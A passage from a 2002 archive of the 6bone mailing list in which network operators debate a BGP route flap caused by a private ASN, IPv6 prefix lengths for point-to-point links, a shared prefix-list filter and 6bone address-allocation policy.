> >       Origin IGP, localpref 100, valid, external
> >       Dampinfo: penalty 6134, flapped 128 times in 07:31:31, reuse in 00:45:30


From daniel@kewlio.net Thu Aug  1 13:35:35 2002
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From: "Daniel Austin" <daniel@kewlio.net>
To: "John Fraizer" <tvo@EnterZone.Net>
Cc: <6bone@ISI.EDU>
References: <Pine.LNX.4.21.0208011621570.13878-100000@Overkill.EnterZone.Net>
Subject: Re: [6bone] Instability incarnate
Date: Thu, 1 Aug 2002 21:36:02 +0100
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Ah...

Well, we only accept private peers with ASN's in the correct ranges.
Maybe i'll start using 45678 as my ASN from now on ;-)



With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: "Daniel Austin" <daniel@kewlio.net>
Cc: <6bone@ISI.EDU>
Sent: Thursday, August 01, 2002 9:29 PM
Subject: Re: [6bone] Instability incarnate


>
>
> It figures it is someone without a real ASN that is flapping.
>
>
> humbolt.nl.linux.org (131.211.28.48)
>
> tunnel:       IPv6 in IPv4 m6.ipv6.euronet.be -> humbolt.nl.linux.org
COMPENDIUM BGP4+
>
> So, the flapper is COMPENDIUM.
>
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
> On Thu, 1 Aug 2002, Daniel Austin wrote:
>
> > Hello,
> >
> > 3ffe:80d0:fffc:10::40
> >                 4  2042    5096    5609        0    0    0 1d03h13m
230
> >
> > AS24765 <--> AS2042    no flaps between us and mimos...
> >
> >
> > With Thanks,
> >
> > Daniel Austin,
> > Managing Director,
> > kewlio.net Limited.
> > <daniel@kewlio.net>
>
> > >   45328 2042 24765 13944, (suppressed due to dampening), (received &
used)
> > >     3FFE:8100:200:2FFF::9 from 3FFE:8100:200:2FFF::9 (131.211.28.48)
> > >       Origin IGP, localpref 100, valid, external
> > >       Dampinfo: penalty 6134, flapped 128 times in 07:31:31, reuse in
00:45:30
>
>

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From jeroen@unfix.org Thu Aug  1 14:24:02 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Daniel Austin'" <daniel@kewlio.net>,
   "'John Fraizer'" <tvo@EnterZone.Net>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] Instability incarnate
Date: Thu, 1 Aug 2002 23:22:46 +0200
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Daniel Austin wrote:

> Well, we only accept private peers with ASN's in the correct ranges.
> Maybe i'll start using 45678 as my ASN from now on ;-)

IMHO, those private ASN's shouldn't be seen in the global routing table
*AT ALL*
That's why they are private, just like RFC1918 space shouldn't be seen
on the public internet.

Greets,
 Jeroen


From daniel@kewlio.net Thu Aug  1 14:26:45 2002
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----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Daniel Austin'" <daniel@kewlio.net>; "'John Fraizer'"
<tvo@EnterZone.Net>
Cc: <6bone@ISI.EDU>
Sent: Thursday, August 01, 2002 10:22 PM
Subject: RE: [6bone] Instability incarnate


> Daniel Austin wrote:
>
> > Well, we only accept private peers with ASN's in the correct ranges.
> > Maybe i'll start using 45678 as my ASN from now on ;-)
>
> IMHO, those private ASN's shouldn't be seen in the global routing table
> *AT ALL*
> That's why they are private, just like RFC1918 space shouldn't be seen
> on the public internet.

I agree... I allow BGP connections from private ASN's, but i wont
re-distribute them to other peers.


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


> Greets,
>  Jeroen
>
>

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From itojun@itojun.org Thu Aug  1 16:43:25 2002
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To: Gert Doering <gert@space.net>
Cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Joao Luis Silva Damas <joao@ripe.net>, Philip Smith <pfs@cisco.com>,
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Subject: Re: [6bone] semi-newbie Q on IPv6 address planning 
From: itojun@iijlab.net
Date: Fri, 02 Aug 2002 08:43:18 +0900
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>On Thu, Aug 01, 2002 at 08:26:35AM -0700, Michel Py wrote:
>> > And by the way, a /126 is perfect for Point-to-point
>> No, it is as illegal with draft-ietf-ipngwg-addr-arch-v3-08.txt than it
>> is with RFC2374, read draft-ietf-ipngwg-addr-arch-v3-08.txt again.
>Whether the standard says it's illegal or not, /127s works fine (yes,
>even /127).  Why create ambiguities by assigning more than 2 IPs to
>something that needs exactly 2?

	because "0" is reserved for subnet router anycast address, you shouldn't
	use blah:0/127 for your nodes as unicsat address.  go read the draft
	on this topic.

itojun

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On Thu, 1 Aug 2002, John Fraizer wrote:

> It figures it is someone without a real ASN that is flapping.

I'm one of the admins of nl.linux.org, but I'll have to note that
COMPENDIUM has used this ASN since before I joined.  I've now
contacted the maintainer of COMPENDIUM and am looking at a way
to get a real ASN.  Preferably without paying $500/year to ARIN ;)

> humbolt.nl.linux.org (131.211.28.48)
>
> tunnel:       IPv6 in IPv4 m6.ipv6.euronet.be -> humbolt.nl.linux.org COMPENDIUM BGP4+
>
> So, the flapper is COMPENDIUM.

I've had problems reaching this host over ipv4 too, today.
Could it be possible the flapping has occured because ipv4
routing for the tunnels got disrupted ?

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


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 neighbor xx:xx::x remove-private-AS


This command is YOUR FRIEND!


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Thu, 1 Aug 2002, Jeroen Massar wrote:

> Daniel Austin wrote:
> 
> > Well, we only accept private peers with ASN's in the correct ranges.
> > Maybe i'll start using 45678 as my ASN from now on ;-)
> 
> IMHO, those private ASN's shouldn't be seen in the global routing table
> *AT ALL*
> That's why they are private, just like RFC1918 space shouldn't be seen
> on the public internet.
> 
> Greets,
>  Jeroen
> 


From michel@arneill-py.sacramento.ca.us Thu Aug  1 18:47:29 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Gert,

> Gert Doering wrote:
> Whether the standard says it's illegal or not, /127s works
> fine (yes, even /127).  Why create ambiguities by assigning
> more than 2 IPs to something that needs exactly 2?

Read draft-savola-ipv6-127-prefixlen-04.txt

http://search.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-0
4.txt

Michel.


From tvo@EnterZone.Net Thu Aug  1 18:53:09 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Rik van Riel <riel@conectiva.com.br>
cc: Daniel Austin <daniel@kewlio.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Instability incarnate
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On Thu, 1 Aug 2002, Rik van Riel wrote:

> On Thu, 1 Aug 2002, John Fraizer wrote:
> 
> > It figures it is someone without a real ASN that is flapping.
> 
> I'm one of the admins of nl.linux.org, but I'll have to note that
> COMPENDIUM has used this ASN since before I joined.  I've now
> contacted the maintainer of COMPENDIUM and am looking at a way
> to get a real ASN.  Preferably without paying $500/year to ARIN ;)
> 
> > humbolt.nl.linux.org (131.211.28.48)
> >
> > tunnel:       IPv6 in IPv4 m6.ipv6.euronet.be -> humbolt.nl.linux.org COMPENDIUM BGP4+
> >
> > So, the flapper is COMPENDIUM.
> 
> I've had problems reaching this host over ipv4 too, today.
> Could it be possible the flapping has occured because ipv4
> routing for the tunnels got disrupted ?
> 
> kind regards,
> 
> Rik

That is completely possible.  I contend that this is *ALL* possible to
monotor via SNMP. (If you're running anything *close* to production
quality code that is.  If you're not, don't bother requesting a BGP
session with ENTERZONE!)  If you're not monitoring this, can I ask why
not?  I'm not jumping anyones case here.  I just tend to expect my peers
to take things as seriously as I do and take the same precautions.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



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[enterzone snipped from cc list, it's refusing my mail anyway]

On Thu, 1 Aug 2002, John Fraizer wrote:

> quality code that is.  If you're not, don't bother requesting a BGP
> session with ENTERZONE!)

The tunnel you're complaining about was requested by your
side of the tunnel, not by mine.

You're also blocking my email, which makes it kind of
hard to exchange information on problems.

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/



From fink@es.net Thu Aug  1 19:12:05 2002
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To: itojun@iijlab.net, "Jeroen Massar" <jeroen@unfix.org>
From: Bob Fink <fink@es.net>
Subject: Re: Yokohama Minutes (Was: RE: [6bone] Re: routing concern) 
Cc: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>, 6bone@ISI.EDU
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At 11:15 PM 8/1/2002 +0900, itojun@iijlab.net wrote:
> >> BTW, I was curious about the 6bone meeting in Yokohama, as there have
> >> been talks with the RIRs. Did I miss the minutes?
> >I picked up the following from the ietf list;
> >Nothing more afaik though...
> >the ipv6 panel presentations are available in pdf at
> >   <http://psg.com/~randy/020717.iesg-plenary/>
>
>         this one is totally separate from 6bone meeting.  Bob, do you have
>         you slides online?

Sorry to be slow getting this up. It is online now. Minutes and the written 
proposal will follow soon.

<http://www.6bone.net/ngtrans/minutes/default.htm> just below the ngtrans 
prstns.


Bob


From michel@arneill-py.sacramento.ca.us Thu Aug  1 20:25:48 2002
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Bob and sixboners,

> Being perceived as part of the solution, not
> part of the problem,

Given the current thread going on the mailing list, I hope it has become
clear to everyone that the 6bone is indeed part of the solution.


> remembering that to do nothing, or to not reach
> agreement, runs the risk of other events
> overtaking the 6bone

That would be a shame, wouldn't it? As far as I am concerned, I will do
every thing in my power to prevent this from happening and I call for
each and every member of this community to rally behind Bob and bring
our 6bone to the next step in its evolution.


> In order to receive 6bone address services from an
> RIR as described here, each 6bone member must "join"
> that RIR, that is, enter into the appropriate membership
> or services agreement with the RIR.

Would this include end-sites? That would not be a problem for end-sites
such as mine, but what about pTLAs that have large pools of completely
automated tunnel brokers?


> There will be exceptions for unusual and new proposals
> per joint RIR and 6bone review and approval. A relevant
> example of this is one or more new strategies such as
> geographic or metro addressing.

Allow me to re-assert my support to the issue that was discussed before
and that Thomas Narten brought up recently here that unusual and new
proposals might be subject to unusual and new restrictions, especially
in terms of shelf life.


> joint RIR and 6bone review

I could use suggestions WRT cross-posting on several mailing lists when
sending my request.
 

> Allocations will be made on the clear and stated
> understanding that the prefix 3ffe::/16 has a limited
> lifetime. The expiration date of the prefix and the 6bone
> allocation made from this prefix is yet to be determined
> but will not be done by the RIR

Completely agree.

Michel.


From fink@es.net Thu Aug  1 20:51:44 2002
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To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Bob Fink <fink@es.net>
Subject: RE: Yokohama Minutes (Was: RE: [6bone] Re: routing concern) 
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Michel,

At 08:25 PM 8/1/2002 -0700, Michel Py wrote:
>Bob and sixboners,
>
> > Being perceived as part of the solution, not
> > part of the problem,
>
>Given the current thread going on the mailing list, I hope it has become
>clear to everyone that the 6bone is indeed part of the solution.

I hope so. We will need to develop a system soon with the help of the IETF 
community to determine the reasonable lifetime of the 6bone.


> > remembering that to do nothing, or to not reach
> > agreement, runs the risk of other events
> > overtaking the 6bone
>
>That would be a shame, wouldn't it? As far as I am concerned, I will do
>every thing in my power to prevent this from happening and I call for
>each and every member of this community to rally behind Bob and bring
>our 6bone to the next step in its evolution.

Well, this is not a hand wave. As I mentioned above, we need to work out a 
mutual process with the IETF community to decide the 6bone's future. The 
RIRs were clear to me that it isn't their place to ever try to determine this.


> > In order to receive 6bone address services from an
> > RIR as described here, each 6bone member must "join"
> > that RIR, that is, enter into the appropriate membership
> > or services agreement with the RIR.
>
>Would this include end-sites? That would not be a problem for end-sites
>such as mine, but what about pTLAs that have large pools of completely
>automated tunnel brokers?

I believe this only applies to the pTLA level as they would get their 
allocation from the RIR. Nets and end-sites below the pTLAs get their 
services from the pTLA (or pNLA).


> > There will be exceptions for unusual and new proposals
> > per joint RIR and 6bone review and approval. A relevant
> > example of this is one or more new strategies such as
> > geographic or metro addressing.
>
>Allow me to re-assert my support to the issue that was discussed before
>and that Thomas Narten brought up recently here that unusual and new
>proposals might be subject to unusual and new restrictions, especially
>in terms of shelf life.

These will always need very special review and understanding as well as 
strong support from the IETF that it is responsible, relevant and useful 
(at a minimum).


> > joint RIR and 6bone review
>
>I could use suggestions WRT cross-posting on several mailing lists when
>sending my request.
>
>
> > Allocations will be made on the clear and stated
> > understanding that the prefix 3ffe::/16 has a limited
> > lifetime. The expiration date of the prefix and the 6bone
> > allocation made from this prefix is yet to be determined
> > but will not be done by the RIR
>
>Completely agree.
>
>Michel.


Thanks for your comments. Hopefully I can get the written proposal I used 
to prepare the presentation, and some minutes from the lunchtime meeting in 
Yokohama, out soon.


Bob


From michel@arneill-py.sacramento.ca.us Thu Aug  1 21:29:43 2002
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> Bob Fink wrote:
> We will need to develop a system soon
> with the help of the IETF community to determine
> the reasonable lifetime of the 6bone.

What about this:

"As long as it is needed."


Michel.


From pim@ipng.nl Thu Aug  1 23:55:47 2002
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From: Pim van Pelt <pim@ipng.nl>
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| That just solved that problem then. <grin>
| 
| ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
| ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
| ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
| ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
| ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
| ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
| ipv6 prefix-list subTLA-only seq 500 deny any

I would disallow seq 20 because there are no other allocations yet in the 
2000::/3 scope, other than the ones you have already explicitly
specified.

The name is also flawed: These are no longer subTLAs. If I were to chose
a name for this filter, I would call it 'strict' where-as a 'sloppy'
filter in my definition would allow /48 and smaller prefixes in the
6BONE networks and ALLOCATED-RIR networks.

Also, it's just a matter of time before some company (in Japan?) will
start announcing a prefix smaller than /29, so I do hope this
information gets loudly broadcasted so law-obiding citizens can adjust
their filters.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From gert@Space.Net Fri Aug  2 00:40:17 2002
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Hi,

On Thu, Aug 01, 2002 at 06:47:22PM -0700, Michel Py wrote:
> > Gert Doering wrote:
> > Whether the standard says it's illegal or not, /127s works
> > fine (yes, even /127).  Why create ambiguities by assigning
> > more than 2 IPs to something that needs exactly 2?
> 
> Read draft-savola-ipv6-127-prefixlen-04.txt
> 
> http://search.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-0
> 4.txt

Done.

I don't agree with many of the conclusions - why would it be "the best"
solution to assign /64s to ptp links?  There is nothing "good" about /64s.

If /127s are not used, what is the benefit of a /112?  Who needs 64k 
addresses on a ptp link?

The general issue of anycast addresses on ptp links doesn't sound very
useful either, but this seems to be an unavoidable issue - so thanks 
for pointing it out, we'll consider moving to /126s.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46284  (46191)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Fri Aug  2 00:42:28 2002
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Hi,

On Thu, Aug 01, 2002 at 09:16:33PM -0400, John Fraizer wrote:
>  neighbor xx:xx::x remove-private-AS
> 
> This command is YOUR FRIEND!

Not really.  It means that you see instabilities and don't even know which
AS was causing them.

A much better approach would be to immediately stop running BGP with
anything that uses a private or illegal AS number.  If they want 
connectivity, statically route them a /48.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46284  (46191)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From kre@munnari.OZ.AU Fri Aug  2 01:00:49 2002
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    Date:        Fri, 02 Aug 2002 08:43:18 +0900
    From:        itojun@iijlab.net
    Message-ID:  <20020801234318.4D9FA4B22@coconut.itojun.org>

  | 	because "0" is reserved for subnet router anycast address, you shouldn't
  | 	use blah:0/127 for your nodes as unicsat address.  go read the draft
  | 	on this topic.

But you don't need a subnet router anycast address on a p2p link.

If you are a router then ::1 will work just fine to reach the nearest
router...   If you're not, then "the other guy" on the p2p link must
be it (or there is no router at all, in which case it doesn't matter
what address you use).

It can't be used from outside the link, as there's no way for outside nodes
to discover the 'n' that applies to  the figure at the top of page 14 of
the draft (if you configure that on some node, you may as well just
configure the router address - anycast or unicast - that it would reach).
[Aside: do notice that 'n' is used, not "64"]

Unless someone can come up with some kind of technical reason why every
subnet in the universe must be forced to use a /64 prefix, people are just
going to go on using whatever they like.   And "the doc says" is not a
technical reason (nor does the doc contain one).   No question, if the
prefix length is > 64 then autoconfiguration isn't going to work, but on
p2p links (and some eothers) that's usually irrelevant, and in any case,
whether autoconfig gets used is always for the local site to decide.

kre


From kre@munnari.OZ.AU Fri Aug  2 01:08:34 2002
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Subject: Re: [6bone] semi-newbie Q on IPv6 address planning 
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    Date:        Thu, 1 Aug 2002 07:06:47 -1000 (HST)
    From:        Antonio Querubin <tony@lava.net>
    Message-ID:  <Pine.BSI.4.44.0208010704390.21654-100000@malasada.lava.net>

  | For us, assigning on nibble boundaries for multiple-subnet sites scales
  | much better too than the one-size-fits-all /48.

If you are assigning nets to sites, then /48 (or /47 or similar in perhaps
some very rare cases) is what you should be assigning.   There's a reason
for that one, unlike the "every subnet must be exactly /64" that some people
advocate.

The reason is so that the assignment size from one assigning organisation
will be the same as that from another, preventing a client org from being
captured because no-one else will give them the address space they (feel
they) need.

That's a legitimate concern, and one that should be accounted for, when
one organisation is assigning addresses to others, it should always
assign /48.

But when an organisation is dividing up the space assigned to it, for
its own purposes, it is for that organisation to decide how the divisions
should be done (it is all an internal matter, affecting no-one else).
Always assigning /64 (even for p2p) is a perfectly valid choice, and
most likely has a whole bunch of benefits (for the organisation, it
matters nothing to anyone else), but there's no reason to compel that.

kre


From joao@ripe.net Fri Aug  2 01:41:08 2002
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Date: Fri, 2 Aug 2002 10:39:40 +0200
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
   "Philip Smith" <pfs@cisco.com>, "Nick Kraal" <nick@arc.net.my>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: RE: [6bone] semi-newbie Q on IPv6 address planning
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At 8:26 -0700 1/8/02, Michel Py wrote:
>  > And by the way, a /126 is perfect for Point-to-point
>
>No, it is as illegal with draft-ietf-ipngwg-addr-arch-v3-08.txt than it
>is with RFC2374, read draft-ietf-ipngwg-addr-arch-v3-08.txt again.

I geuss you refer to section 2.5.1 where it says

For all unicast addresses, except those that start with binary value
    000, Interface IDs are required to be 64 bits long and to be
    constructed in Modified EUI-64 format.

which is used together with: (for the first 3 octets)

           0       0 0       1 1       2
          |0       7 8       5 6       3|
          +----+----+----+----+----+----+
          |cccc|ccug|cccc|cccc|cccc|cccc|
          +----+----+----+----+----+----+

and

The motivation for inverting the "u" bit when forming an interface
    identifier is to make it easy for system administrators to hand
    configure non-global identifiers when hardware tokens are not
    available.  This is expected to be case for serial links, tunnel end-
    points, etc.  The alternative would have been for these to be of the
    form 0200:0:0:1, 0200:0:0:2, etc., instead of the much simpler 1, 2,
    etc.


Fine, and I will normally use 1 and 2 as the last 64 bits of the 
address for poi nt-to-point but I will also use a /126 mask for this 
stuff because it reduces the potential for mistakes, because if 
someone makes a mistake and types something inside the same /64 I am 
using for this interface, if it is also inside the /126 it will be 
easy to detect and if it is outside at least it won't screw my 
routing in a way that is hard to debug because some router starts 
thinking it has a direct connection to another one when it doesn't.
I chose a /126 (instead of a /127, even before reading Pekka's draft) 
also because that's what a lot of network engineers are used to in 
IPv4 (a /31) and it minimises human error (which is far more frequent 
than a hardware failure).

And I wish protocol design wasn't a game of designing nice bit 
templates and took operational practice into account as a starting 
point.

Joao

From gert@Space.Net Fri Aug  2 02:11:17 2002
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Date: Fri, 2 Aug 2002 11:11:14 +0200
From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: itojun@iijlab.net, Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
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Hi,

On Thu, Aug 01, 2002 at 10:20:18AM -0400, John Fraizer wrote:
> ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35

This will fit today's needs, but the global IPv6 policy does not forbid
assignment of a /24 or even a /20 to a Really Big ISP. 

So maybe that should be:

ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 20 le 35

(but as I said, *today*, nothing bigger than a /32 has been assigned)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46284  (46191)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From rvdp@kirk.rvdp.org Fri Aug  2 02:12:07 2002
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Date: Fri, 2 Aug 2002 11:11:40 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Bob Fink <fink@es.net>
Cc: 6bone@ISI.EDU
Subject: Re: Yokohama Minutes (Was: RE: [6bone] Re: routing concern)
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On Thu, Aug 01, 2002 at 19:11:39 -0700, Bob Fink wrote:

> <http://www.6bone.net/ngtrans/minutes/default.htm> just below the ngtrans 
> prstns.

Ahhrgh, http://[3ffe:b00:c18:1::10]/ngtrans/minutes/default.htm !=
http://131.243.129.43/ngtrans/minutes/default.htm

And unfortunately, the v4 version has the 6bone information :-(

	rvdp

From gert@Space.Net Fri Aug  2 02:37:18 2002
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From: Gert Doering <gert@space.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
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Hi,

On Thu, Aug 01, 2002 at 08:46:52AM -0700, Michel Py wrote:
> > ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
> 
> Remarks on this:
> - I think that seq 30 (6to4) could be optional. I don't think we want
> this route floating on the 6bone.

This would mean "not having connectivity to people using 6to4 IPv6".

Why is this a desireable goal?

Gert Doering
        -- NetMaster
-- 
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SpaceNet AG                 Mail: netmaster@Space.Net
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80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Fri Aug  2 06:02:16 2002
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Hi,

On Fri, Aug 02, 2002 at 10:39:40AM +0200, Joao Luis Silva Damas wrote:
> I chose a /126 (instead of a /127, even before reading Pekka's draft) 
> also because that's what a lot of network engineers are used to in 
> IPv4 (a /31) and it minimises human error (which is far more frequent 
> than a hardware failure).

Ummm.  I assume a typo here, but the equivalent of a /31 in IPv4 world
is a */127*, not a /126...

> And I wish protocol design wasn't a game of designing nice bit 
> templates and took operational practice into account as a starting 
> point.

Seconded.  EUI-64 sucks big time (using MAC addresses and such is a nice
idea, but why on earth can't they map 48 bits to 64 in a somewhat more
straightforward way than "distribute them over all the 64bits"?)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From joao@ripe.net Fri Aug  2 06:07:25 2002
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Date: Fri, 2 Aug 2002 15:06:09 +0200
To: Gert Doering <gert@space.net>
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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At 15:02 +0200 2/8/02, Gert Doering wrote:
>Hi,
>
>On Fri, Aug 02, 2002 at 10:39:40AM +0200, Joao Luis Silva Damas wrote:
>>  I chose a /126 (instead of a /127, even before reading Pekka's draft)
>>  also because that's what a lot of network engineers are used to in
>>  IPv4 (a /31) and it minimises human error (which is far more frequent
>>  than a hardware failure).
>
>Ummm.  I assume a typo here, but the equivalent of a /31 in IPv4 world
>is a */127*, not a /126...

Typo indeed, make it /30 :-)


>  > And I wish protocol design wasn't a game of designing nice bit
>>  templates and took operational practice into account as a starting
>>  point.
>
>Seconded.  EUI-64 sucks big time (using MAC addresses and such is a nice
>idea, but why on earth can't they map 48 bits to 64 in a somewhat more
>straightforward way than "distribute them over all the 64bits"?)

And, would you use your router interface's mac address ever to 
configure the interface IP?

Joao

From fink@es.net Fri Aug  2 06:41:54 2002
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To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
From: Bob Fink <fink@es.net>
Subject: Re: Yokohama Minutes (Was: RE: [6bone] Re: routing concern)
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At 11:11 AM 8/2/2002 +0200, Ronald van der Pol wrote:
>On Thu, Aug 01, 2002 at 19:11:39 -0700, Bob Fink wrote:
>
> > <http://www.6bone.net/ngtrans/minutes/default.htm> just below the ngtrans
> > prstns.
>
>Ahhrgh, http://[3ffe:b00:c18:1::10]/ngtrans/minutes/default.htm !=
>http://131.243.129.43/ngtrans/minutes/default.htm
>
>And unfortunately, the v4 version has the 6bone information :-(

It takes a while for the info to mirror to the v6 version.


Bob


From gert@Space.Net Fri Aug  2 07:26:38 2002
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From: Gert Doering <gert@space.net>
To: Joao Luis Silva Damas <joao@ripe.net>
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Hi,

On Fri, Aug 02, 2002 at 03:06:09PM +0200, Joao Luis Silva Damas wrote:
> >>  I chose a /126 (instead of a /127, even before reading Pekka's draft)
> >>  also because that's what a lot of network engineers are used to in
> >>  IPv4 (a /31) and it minimises human error (which is far more frequent
> >>  than a hardware failure).
> >
> >Ummm.  I assume a typo here, but the equivalent of a /31 in IPv4 world
> >is a */127*, not a /126...
> Typo indeed, make it /30 :-)

On the other hand, we *do* use /31s on IPv4 ptp links.  It's a recent
change, but works well.

> >  > And I wish protocol design wasn't a game of designing nice bit
> >>  templates and took operational practice into account as a starting
> >>  point.
> >
> >Seconded.  EUI-64 sucks big time (using MAC addresses and such is a nice
> >idea, but why on earth can't they map 48 bits to 64 in a somewhat more
> >straightforward way than "distribute them over all the 64bits"?)
> 
> And, would you use your router interface's mac address ever to 
> configure the interface IP?

Definitely not for the routers, nor for servers.  For client-only hosts,
it's a nice idea for smallish networks that don't want to setup DHCP.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Fri Aug  2 07:28:47 2002
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Hi,

On Fri, Aug 02, 2002 at 03:24:57PM +0200, Nils Höglund wrote:
> > Seconded.  EUI-64 sucks big time (using MAC addresses and such is a nice
> > idea, but why on earth can't they map 48 bits to 64 in a somewhat more
> > straightforward way than "distribute them over all the 64bits"?)
> 
> Probobly beacause there are more media-types and link layer protocols in the
> world than ethernet.

So?  For those media types you need other rules anyway.  No need to uglify
things for the most common multiaccess network type.

A decent approach could have been "put control stuff in the first 16 bits,
map the MAC address 1:1 to the next 48 bits".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Fri Aug  2 07:35:35 2002
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> Pim van Pelt wrote:
| ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
| ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
| ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
| ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
| ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
| ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
| ipv6 prefix-list subTLA-only seq 500 deny any

> I would disallow seq 20 because there are no other allocations yet
> in the 2000::/3 scope, other than the ones you have already
> explicitly specified.

That's exactly the reason I had in mind. Let's drop 20.

Michel.


From michel@arneill-py.sacramento.ca.us Fri Aug  2 07:53:49 2002
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>> Michel Py wrote:
>> Remarks on this:
>> - I think that seq 30 (6to4) could be optional. I don't
>> think we want this route floating on the 6bone.

> Gert Doering wrote: 
> This would mean "not having connectivity to people using
> 6to4 IPv6".


Not at all. People providing 6to4 relay services can still feed that
route to their downstreams.

> Why is this a desireable goal?

Because by announcing 2002::/16 on the 6bone, we create another form of
anycast. Not only there already is an anycast mechanism, it is very
seldom used. I do not see any reason to re-create another one.

Let's make seq 30 optional.

Michel.


From gert@Space.Net Fri Aug  2 08:20:21 2002
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Hi,

On Fri, Aug 02, 2002 at 07:53:42AM -0700, Michel Py wrote:
> >> Michel Py wrote:
> >> Remarks on this:
> >> - I think that seq 30 (6to4) could be optional. I don't
> >> think we want this route floating on the 6bone.
> 
> > Gert Doering wrote: 
> > This would mean "not having connectivity to people using
> > 6to4 IPv6".
> 
> Not at all. People providing 6to4 relay services can still feed that
> route to their downstreams.

But that means "not having connectivity to people using 6to4 IPv6" - 
most of the networks participating in the 6bone today are not usually
considered "downstream" by their peers, and thus wouldn't have 2002::/16
unless they run their own 6to4 gateway.


> > Why is this a desireable goal?
> 
> Because by announcing 2002::/16 on the 6bone, we create another form of
> anycast. Not only there already is an anycast mechanism, it is very
> seldom used. I do not see any reason to re-create another one.

The anycast mechanism for 6to4 (both on the v4 and v6 side) is already
well-defined in the corresponding RFCs.  We do not "create" anything, it's
already there.

Gert Doering
        -- NetMaster
-- 
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SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Fri Aug  2 08:48:06 2002
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John,

> John Fraizier wrote:
> (We'll use your peering session as an example Michel)
> Any comments appreciated.

- I am happy to see the addition of "set community no-export additive".

- I think you should drop seq 20 2000::/3 ge 16 le 16

- As someone else mentioned, the "subTLA-only" name might not be
appropriate.

- There is overlap in the following two lines:
